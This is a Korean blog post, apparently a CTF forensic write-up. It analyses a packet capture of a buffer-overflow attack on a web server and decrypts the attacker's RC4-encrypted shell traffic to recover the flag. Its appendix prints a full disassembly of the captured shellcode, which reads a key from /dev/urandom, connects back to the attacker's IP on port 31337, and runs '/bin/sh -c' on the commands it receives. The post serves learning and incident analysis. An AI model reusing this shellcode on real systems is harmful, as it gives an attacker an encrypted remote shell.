Solving Process |
아래의 패킷을 보면
스트림 14번에서 cookie의 sessid 값 쪽에 버퍼오버플로우로 보이는 페이로드들이 넘어가고
body 쪽에 쉘코드로 추정되는 데이터를 http 통신을 통해 보내는 것을 볼 수 있다.
다음 스트림인 15번 TCP 스트림에서는
쉘 코드가 올라간 이후,
공격자(172.17.0.10) 측에서 명령어를 입력하면
웹서버(172.17.0.2) 측에서 응답 패킷을 보냈을 것이다.
그런데 아마 암호화 된 것으로 보인다...
음.....
그냥 쉘코드이겠거니 하고 넘어가려 했지만
통신이 어떻게 암호화 되어 있는지 명령어로 내렸을
( 그렇지만, 보통 쉘은 (명령어 - 응답)의 쌍으로 이루어지니깐
아마 두글자는 id 가 아닐까싶다....ㅋㅋㅋㅋ )
쉘코드 쪽을 분석해야 되겠다는 생각이 들었다.
14번 스트림에서 나타났던 쉘코드를 save as로 추출해서 objdump를 이용하여
x64 리눅스 쉘코드, x86 리눅스 쉘코드로 해석해 봤다.
암호학의 리버싱(?)은 아는 것에서 추측해서 코드를 분석하는 것이 빠를 것이다....
-------------------------------------
- 대칭암호 ---- 블록암호
---- 스트림암호
- 비대칭암호
-------------------------------------
암호 중에서 비대칭 암호의 경우, 수학적 연산이 많이 들어가 자원소모가 크므로 대칭일 것이라고 추측한 뒤,
대칭 중에서는 위에 전달되는 바이트의 수가 가변적이고, 대충 원래 문자열의 수가 그대로 유지되는 것 같아서
대칭암호 중 바이트 단위로 연산을 수행하는 스트림 암호일 것이라고 추측해 봤다.
스트림 암호는 입력값과 키 값을 Xor하여 암호문을 생성한다.
대칭 스트림 암호를 위키피디아에 검색해서 꽤 유용한 정보를 얻엇다.....!!!
입력 값이 유사난수열(키)에 영향을 미치냐 안미치냐로 동기/비동기를 나누는데
아까 쉘코드에서 dev/urandom 이라는 문자열을 봣는데 커널 레벨에서의 유사난수를 생성해주는 것이라고 한다.
난수열을 통해 스트림 암호 연산을 하고 있다는 것이 거의 확실해 졌다.
첫번째로 웹 서버에서 전송된 것은 키 였다. ( RC4의 키길이는 정해져 있진 않지만, 16byte와 32byte를 주로 쓴다고 한다.)
공격자가 (10) 제일 처음 전송한 명령어는 id로 복호화 되었다.
그 다음부터는 같은 키로 복호화 되지 않는다..... @_@
한참 고민하다가
RC4가 한번씩 암호화 연산을 하면서 256byte의 키테이블을 뒤섞기 때문에 서버쪽에서 응답을 날릴때는
키테이블이 바뀐것이 아닐까 싶어서 RC4 코드를 구현해서 해보다가, 영 잘 되지 않았다.
그러던 도중
주고받은 모든 패킷을 스트림 단위로 묶어서 한꺼번에 복호화 해 본 결과,
모든 패킷이 복호화 되었다. 그리고 가장 마지막 데이터에 플래그를 발견 할 수 있었다.
CBCTF{7RAcKINPrINTs_i5_excItING}
비고 ) |
추출한 쉘코드를 디스어셈 한 결과는 다음과 같았다.
아래의 문자열이 잘리는 것을 통해 x32인지 x64인지 추측해 볼수 있다고 한다.
시스템 콜을 하나씩 따라가서 보는 방법으로 분석하거나
C 코드에 같이 올려서 컴파일 해서 분석하는 방법이 있지만,
약간은 무모해 보여서... RC4로 안됬으면 하나씩 다 해봤을 지도 모르겠다.
0: 46 09 40 00 rex.RX or DWORD PTR [rax+0x0],r8d
4: 00 00 add BYTE PTR [rax],al
6: 00 00 add BYTE PTR [rax],al
8: 00 00 add BYTE PTR [rax],al
a: e9 ab 01 00 00 jmp 0x1ba
f: 48 31 c0 xor rax,rax
12: 0f 05 syscall
14: c3 ret
##
15: 48 31 c0 xor rax,rax
18: 48 ff c0 inc rax
1b: 0f 05 syscall
1d: c3 ret
##
1e: 48 c7 c0 02 00 00 00 mov rax,0x2
25: 0f 05 syscall
27: c3 ret
##
28: 48 c7 c0 03 00 00 00 mov rax,0x3
2f: 0f 05 syscall
31: c3 ret
##
32: 48 c7 c0 09 00 00 00 mov rax,0x9
39: 49 89 ca mov r10,rcx
3c: 0f 05 syscall
3e: c3 ret
##
3f: 48 c7 c0 16 00 00 00 mov rax,0x16
46: 0f 05 syscall
48: c3 ret
##
49: 48 c7 c0 21 00 00 00 mov rax,0x21
50: 0f 05 syscall
52: c3 ret
##
53: 48 c7 c0 29 00 00 00 mov rax,0x29
5a: 0f 05 syscall
5c: c3 ret
##
5d: 48 c7 c0 2a 00 00 00 mov rax,0x2a
64: 0f 05 syscall
66: c3 ret
##
67: 48 c7 c0 39 00 00 00 mov rax,0x39
6e: 0f 05 syscall
70: c3 ret
##
71: 48 c7 c0 3b 00 00 00 mov rax,0x3b
78: 0f 05 syscall
7a: c3 ret
##
7b: 48 c7 c0 3c 00 00 00 mov rax,0x3c
82: 0f 05 syscall
84: 48 c7 c0 3d 00 00 00 mov rax,0x3d
8b: 49 89 ca mov r10,rcx
8e: 0f 05 syscall
90: c3 ret
##
91: 66 0f 1f 84 00 00 00 nop WORD PTR [rax+rax*1+0x0]
98: 00 00
9a: 55 push rbp
9b: 53 push rbx
9c: 48 89 fd mov rbp,rdi
9f: 48 b8 2f 64 65 76 2f movabs rax,0x6172752f7665642f
a6: 75 72 61
a9: 31 f6 xor esi,esi
ab: 48 83 ec 18 sub rsp,0x18
af: 48 89 e7 mov rdi,rsp
b2: 48 89 04 24 mov QWORD PTR [rsp],rax
b6: c7 44 24 08 6e 64 6f mov DWORD PTR [rsp+0x8],0x6d6f646e
bd: 6d
be: c6 44 24 0c 00 mov BYTE PTR [rsp+0xc],0x0
c3: e8 56 ff ff ff call 0x1e
c8: 48 89 ee mov rsi,rbp
cb: 89 c3 mov ebx,eax
cd: ba 20 00 00 00 mov edx,0x20
d2: 89 c7 mov edi,eax
d4: e8 36 ff ff ff call 0xf
d9: 89 df mov edi,ebx
db: e8 48 ff ff ff call 0x28
e0: 48 83 c4 18 add rsp,0x18
e4: 5b pop rbx
e5: 5d pop rbp
e6: c3 ret
##
e7: 0f 1f 00 nop DWORD PTR [rax]
ea: c7 47 04 00 00 00 00 mov DWORD PTR [rdi+0x4],0x0
f1: c7 07 00 00 00 00 mov DWORD PTR [rdi],0x0
f7: 31 c0 xor eax,eax
f9: 90 nop
fa: 88 44 07 08 mov BYTE PTR [rdi+rax*1+0x8],al
fe: 48 83 c0 01 add rax,0x1
102: 48 3d 00 01 00 00 cmp rax,0x100
108: 75 f0 jne 0xfa
10a: 31 c0 xor eax,eax
10c: 31 d2 xor edx,edx
10e: 0f 1f 40 00 nop DWORD PTR [rax+0x0]
112: 44 0f b6 44 07 08 movzx r8d,BYTE PTR [rdi+rax*1+0x8]
118: 48 89 c1 mov rcx,rax
11b: 83 e1 1f and ecx,0x1f
11e: 45 89 c2 mov r10d,r8d
121: 44 02 14 0e add r10b,BYTE PTR [rsi+rcx*1]
125: 44 89 d1 mov ecx,r10d
128: 01 ca add edx,ecx
12a: 0f b6 ca movzx ecx,dl
12d: 44 0f b6 4c 0f 08 movzx r9d,BYTE PTR [rdi+rcx*1+0x8]
133: 48 89 ca mov rdx,rcx
136: 44 88 4c 07 08 mov BYTE PTR [rdi+rax*1+0x8],r9b
13b: 48 83 c0 01 add rax,0x1
13f: 44 88 44 0f 08 mov BYTE PTR [rdi+rcx*1+0x8],r8b
144: 48 3d 00 01 00 00 cmp rax,0x100
14a: 75 c6 jne 0x112
14c: f3 c3 repz ret
14e: 66 90 xchg ax,ax
150: 66 2e 0f 1f 84 00 00 nop WORD PTR cs:[rax+rax*1+0x0]
157: 00 00 00
15a: 48 85 d2 test rdx,rdx
15d: 4c 8d 14 16 lea r10,[rsi+rdx*1]
161: 74 47 je 0x1aa
163: 0f 1f 80 00 00 00 00 nop DWORD PTR [rax+0x0]
16a: 8b 07 mov eax,DWORD PTR [rdi]
16c: 8b 57 04 mov edx,DWORD PTR [rdi+0x4]
16f: 83 c0 01 add eax,0x1
172: 0f b6 c0 movzx eax,al
175: 89 07 mov DWORD PTR [rdi],eax
177: 0f b6 4c 07 08 movzx ecx,BYTE PTR [rdi+rax*1+0x8]
17c: 01 ca add edx,ecx
17e: 0f b6 d2 movzx edx,dl
181: 89 57 04 mov DWORD PTR [rdi+0x4],edx
184: 44 0f b6 4c 17 08 movzx r9d,BYTE PTR [rdi+rdx*1+0x8]
18a: 44 88 4c 07 08 mov BYTE PTR [rdi+rax*1+0x8],r9b
18f: 88 4c 17 08 mov BYTE PTR [rdi+rdx*1+0x8],cl
193: 02 4c 07 08 add cl,BYTE PTR [rdi+rax*1+0x8]
197: 0f b6 c9 movzx ecx,cl
19a: 0f b6 44 0f 08 movzx eax,BYTE PTR [rdi+rcx*1+0x8]
19f: 30 06 xor BYTE PTR [rsi],al
1a1: 48 83 c6 01 add rsi,0x1
1a5: 49 39 f2 cmp r10,rsi
1a8: 75 c0 jne 0x16a
1aa: f3 c3 repz ret
##
1ac: 0f 1f 40 00 nop DWORD PTR [rax+0x0]
1b0: 66 2e 0f 1f 84 00 00 nop WORD PTR cs:[rax+rax*1+0x0]
1b7: 00 00 00
1ba: 41 57 push r15
1bc: 41 56 push r14
1be: 31 c0 xor eax,eax
1c0: 41 55 push r13
1c2: 41 54 push r12
1c4: b9 21 00 00 00 mov ecx,0x21
1c9: 55 push rbp
1ca: 53 push rbx
1cb: 48 81 ec b8 01 00 00 sub rsp,0x1b8
1d2: 48 8d ac 24 a0 00 00 lea rbp,[rsp+0xa0]
1d9: 00
1da: 48 c7 44 24 60 00 00 mov QWORD PTR [rsp+0x60],0x0
1e1: 00 00
1e3: 48 c7 44 24 68 00 00 mov QWORD PTR [rsp+0x68],0x0
1ea: 00 00
1ec: 48 c7 44 24 70 00 00 mov QWORD PTR [rsp+0x70],0x0
1f3: 00 00
1f5: 48 c7 44 24 78 00 00 mov QWORD PTR [rsp+0x78],0x0
1fc: 00 00
1fe: 48 89 ef mov rdi,rbp
201: 48 c7 44 24 50 00 00 mov QWORD PTR [rsp+0x50],0x0
208: 00 00
20a: 48 c7 44 24 58 00 00 mov QWORD PTR [rsp+0x58],0x0
211: 00 00
213: f3 48 ab rep stos QWORD PTR es:[rdi],rax
216: e8 4c fe ff ff call 0x67
21b: 85 c0 test eax,eax
21d: 0f 85 e7 01 00 00 jne 0x40a
223: 31 d2 xor edx,edx
225: be 01 00 00 00 mov esi,0x1
22a: bf 02 00 00 00 mov edi,0x2
22f: e8 1f fe ff ff call 0x53
234: 48 8d 5c 24 60 lea rbx,[rsp+0x60]
239: 48 8d 74 24 50 lea rsi,[rsp+0x50]
23e: ba 02 00 00 00 mov edx,0x2
243: b9 7a 69 00 00 mov ecx,0x697a
248: 66 89 54 24 50 mov WORD PTR [rsp+0x50],dx
24d: 89 c7 mov edi,eax
24f: ba 10 00 00 00 mov edx,0x10
254: 66 89 4c 24 52 mov WORD PTR [rsp+0x52],cx
259: 41 89 c4 mov r12d,eax
25c: c7 44 24 54 ac 11 00 mov DWORD PTR [rsp+0x54],0xa0011ac
263: 0a
264: 4c 8d 74 24 40 lea r14,[rsp+0x40]
269: e8 ef fd ff ff call 0x5d
26e: 48 89 df mov rdi,rbx
271: e8 24 fe ff ff call 0x9a
276: ba 20 00 00 00 mov edx,0x20
27b: 48 89 de mov rsi,rbx
27e: 44 89 e7 mov edi,r12d
281: e8 8f fd ff ff call 0x15
286: 48 89 de mov rsi,rbx
289: 48 89 ef mov rdi,rbp
28c: e8 59 fe ff ff call 0xea
291: 45 31 c9 xor r9d,r9d
294: 41 b8 ff ff ff ff mov r8d,0xffffffff
29a: b9 22 00 00 00 mov ecx,0x22
29f: ba 03 00 00 00 mov edx,0x3
2a4: be 00 10 00 00 mov esi,0x1000
2a9: 31 ff xor edi,edi
2ab: e8 82 fd ff ff call 0x32
2b0: 48 89 c3 mov rbx,rax
2b3: 48 8d 44 24 30 lea rax,[rsp+0x30]
2b8: 48 89 44 24 08 mov QWORD PTR [rsp+0x8],rax
2bd: 48 8d 44 24 20 lea rax,[rsp+0x20]
2c2: 48 89 44 24 18 mov QWORD PTR [rsp+0x18],rax
2c7: 48 8d 84 24 80 00 00 lea rax,[rsp+0x80]
2ce: 00
2cf: 48 89 44 24 10 mov QWORD PTR [rsp+0x10],rax
2d4: 66 0f 1f 44 00 00 nop WORD PTR [rax+rax*1+0x0]
2da: ba 00 10 00 00 mov edx,0x1000
2df: 48 89 de mov rsi,rbx
2e2: 44 89 e7 mov edi,r12d
2e5: e8 25 fd ff ff call 0xf
2ea: 48 85 c0 test rax,rax
2ed: 0f 84 17 01 00 00 je 0x40a
2f3: 48 3d 00 10 00 00 cmp rax,0x1000
2f9: 74 04 je 0x2ff
2fb: c6 04 03 00 mov BYTE PTR [rbx+rax*1],0x0
2ff: 48 89 c2 mov rdx,rax
302: 48 89 de mov rsi,rbx
305: 48 89 ef mov rdi,rbp
308: e8 4d fe ff ff call 0x15a
30d: 48 8b 7c 24 08 mov rdi,QWORD PTR [rsp+0x8]
312: e8 28 fd ff ff call 0x3f
317: e8 4b fd ff ff call 0x67
31c: 85 c0 test eax,eax
31e: 41 89 c5 mov r13d,eax
321: 74 67 je 0x38a
323: 8b 7c 24 34 mov edi,DWORD PTR [rsp+0x34]
327: e8 fc fc ff ff call 0x28
32c: eb 20 jmp 0x34e
32e: 0f 1f 40 00 nop DWORD PTR [rax+0x0]
332: 48 89 c2 mov rdx,rax
335: 48 89 de mov rsi,rbx
338: 48 89 ef mov rdi,rbp
33b: e8 1a fe ff ff call 0x15a
340: 4c 89 fa mov rdx,r15
343: 48 89 de mov rsi,rbx
346: 44 89 e7 mov edi,r12d
349: e8 c7 fc ff ff call 0x15
34e: 8b 7c 24 30 mov edi,DWORD PTR [rsp+0x30]
352: ba 00 10 00 00 mov edx,0x1000
357: 48 89 de mov rsi,rbx
35a: e8 b0 fc ff ff call 0xf
35f: 48 85 c0 test rax,rax
362: 49 89 c7 mov r15,rax
365: 75 cb jne 0x332
367: 8b 7c 24 30 mov edi,DWORD PTR [rsp+0x30]
36b: e8 b8 fc ff ff call 0x28
370: 48 8b 74 24 10 mov rsi,QWORD PTR [rsp+0x10]
375: 31 c9 xor ecx,ecx
377: 31 d2 xor edx,edx
379: 44 89 ef mov edi,r13d
37c: e8 03 fd ff ff call 0x84
381: e9 54 ff ff ff jmp 0x2da
386: 0f 1f 40 00 nop DWORD PTR [rax+0x0]
38a: 48 b8 2f 62 69 6e 2f movabs rax,0x68732f6e69622f
391: 73 68 00
394: 31 ff xor edi,edi
396: c6 44 24 22 00 mov BYTE PTR [rsp+0x22],0x0
39b: 48 89 44 24 40 mov QWORD PTR [rsp+0x40],rax
3a0: b8 2d 63 00 00 mov eax,0x632d
3a5: 4c 89 b4 24 80 00 00 mov QWORD PTR [rsp+0x80],r14
3ac: 00
3ad: 66 89 44 24 20 mov WORD PTR [rsp+0x20],ax
3b2: 48 8b 44 24 18 mov rax,QWORD PTR [rsp+0x18]
3b7: 48 89 9c 24 90 00 00 mov QWORD PTR [rsp+0x90],rbx
3be: 00
3bf: 48 c7 84 24 98 00 00 mov QWORD PTR [rsp+0x98],0x0
3c6: 00 00 00 00 00
3cb: 48 89 84 24 88 00 00 mov QWORD PTR [rsp+0x88],rax
3d2: 00
3d3: e8 50 fc ff ff call 0x28
3d8: 8b 7c 24 30 mov edi,DWORD PTR [rsp+0x30]
3dc: e8 47 fc ff ff call 0x28
3e1: 8b 7c 24 34 mov edi,DWORD PTR [rsp+0x34]
3e5: be 01 00 00 00 mov esi,0x1
3ea: e8 5a fc ff ff call 0x49
3ef: 48 8b 74 24 10 mov rsi,QWORD PTR [rsp+0x10]
3f4: 31 d2 xor edx,edx
3f6: 4c 89 f7 mov rdi,r14
3f9: e8 73 fc ff ff call 0x71
3fe: e9 d7 fe ff ff jmp 0x2da
403: 0f 1f 80 00 00 00 00 nop DWORD PTR [rax+0x0]
40a: 31 ff xor edi,edi
40c: e8 6a fc ff ff call 0x7b
|
Refernces |
- TCP 프로토콜에서의 TCP flag 설정
(1) 세션 연결과정 ( 3 hand shake) :
-SYN->
<-SYN ACK-
-ACK->
(2) 데이터 송수신과정
-PSH ACK->
<-ACK-
(3) 세션 종료과정
-FIN->
<-ACK
-FIN ACK->
- HTTP 프로토콜 분석
(1) 응답헤더
(2) 요청헤더
- 암호 알고리즘의 종류 중,
대칭키 스트림 암호
- RC4 온라인 디크립트 툴 ( 굳굳)
'OLD 2018 ~ 2021 > MAJOR → Forensic' 카테고리의 다른 글
[wargame.catsecurity] Forensic _ HDCON 본선문제 (0) | 2023.10.30 |
---|---|
180522_Suninatas Forensic(day1) (0) | 2018.05.22 |
180122_[Incident Response report]_WebShell_upload_attack (1) | 2018.01.23 |
180118_[IR_Report]_Ransomware (0) | 2018.01.18 |
180107_[IR_report]_linux_webshell (0) | 2018.01.15 |
댓글